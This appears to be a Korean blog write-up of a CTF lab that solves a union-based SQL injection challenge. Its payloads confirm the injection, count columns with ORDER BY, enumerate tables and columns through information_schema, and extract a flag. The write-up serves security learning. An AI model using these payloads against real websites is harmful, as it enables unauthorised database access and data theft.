본문 바로가기

old/Cyber Security

웹 해킹 예제: union base sql injection_CTF: 노말틱 DB 데이터 추출 1

반응형

목표

DB 내에 숨겨진 Flag를 찾으세요!

공격된 웹싸이트

현재 듣고 있는 노말틱님의 웹싸이트

http://ctf.segfaulthub.com:9999/sqli_1/

공격

정보리스트

SQL

질문 답변

sql 질의문이 보이는가? yes
사용할 sqli union base sql injection
사용 DB Mysql
뒷부분 추측 %’
DB 이름 sqli_1
table 이름 flag_table, user_info
column 이름 flag

공격순서

검색의 뒷부분이 어떤지 추측합니다.

sql injection이 통하는지 확인

dm%' and '1%'='1 # true
dm%' and '1%'='2 # false

위 두번의 검색을 통해서 아무 문제 없이 Adminer가 검색되었으므로, 검색의 뒷부분이 %’으로 끝나는것을 확인할수 있습니다.

검색시 컬럼을 몇개 사용하는지 파악합니다.

1,2,3,4 로 늘려가면서 컬럼 개수 확인

dm%' order by 1 and '1%'='1
dm%' order by 2 and '1%'='1
dm%' order by 3 and '1%'='1
dm%' order by 4 and '1%'='1

order by 명령어는 {숫자}번째 컬럼을 기준으로 정렬하라 라는 명령어 이므로, 5를 넣었을때는 제대로 검색이 되지 않는걸 확인할수있습니다. 이로서 우리는 아래와 같이 추측을 해볼수 있습니다.

select ?, ?, ?, ? from 디비이름

각 ?는 ‘%우리가 넣은 검색어%’ 이 들어간다고 추측이 가능하며, 몇번쨰에 들어가는지는 알수 없습니다.

union이 통하는지, 그리고 data 출력 위치 파악합니다.

dm%' union select '1','2','3','4' and '1%'='1

각각 id, level, rank에 들어가는것을 확인할수 있으며, 4번째 컬럼은 어디에 사용하는지 알수 없지만 존재한다는것을 알수 있습니다.

이로서 union명령어가 필터링되지 않음을 확인할수 있습니다. union base sql injection이 통한다고 확신을 가질수 있습니다.

database이름을 확인 합니다.

dm%' union select '1',database(),'3','4' and '1%'='1

2번째 위치인 level 컬럼에 디비 이름이 출력됩니다.

table이름을 확인 합니다.

dm%' union select '1',table_name,'3','4' from information_schema.tables where table_schema = 'sqli_1' and '1%'='1

2번째 위치인 level 컬럼에 컬럼 이름들이 출력됩니다. 목표는 디비에 숨겨진 플래그이므로, flag_table을 선택합니다.

column 이름 확인

dm%' union select '1',column_name,'3','4' from information_schema.columns where table_name='flag_table' and '1%'='1

2번째 위치인 level 컬럼에 컬럼 이름이 출력됩니다.

데이터 추출

데이터 추출시에는 똑같은 and '1%'='1 를 사용할수 없습니다. 추측한 뒷부분은 아래와 같고, 우리가 검색창에 넣은 코드는 ?중 어딘가에 들어가므로, 이를 무효하기 위한(우리가 원하는 코드를 넣어도 MySQL문법에 위배되지 않는) 코드를 넣어야 합니다.

select ?, ?, ?, ? from 디비이름
?는 '% ? %'이다
dm%' union select '1',flag,'3','4' from flag_table WHERE '1%' LIKE '1

즉, 모두 합친다면 다음과 같습니다.

select '%dm%' union select '1',flag,'3','4' from flag_table WHERE '1%' LIKE '1%', ?, ?, ? from 디비
반응형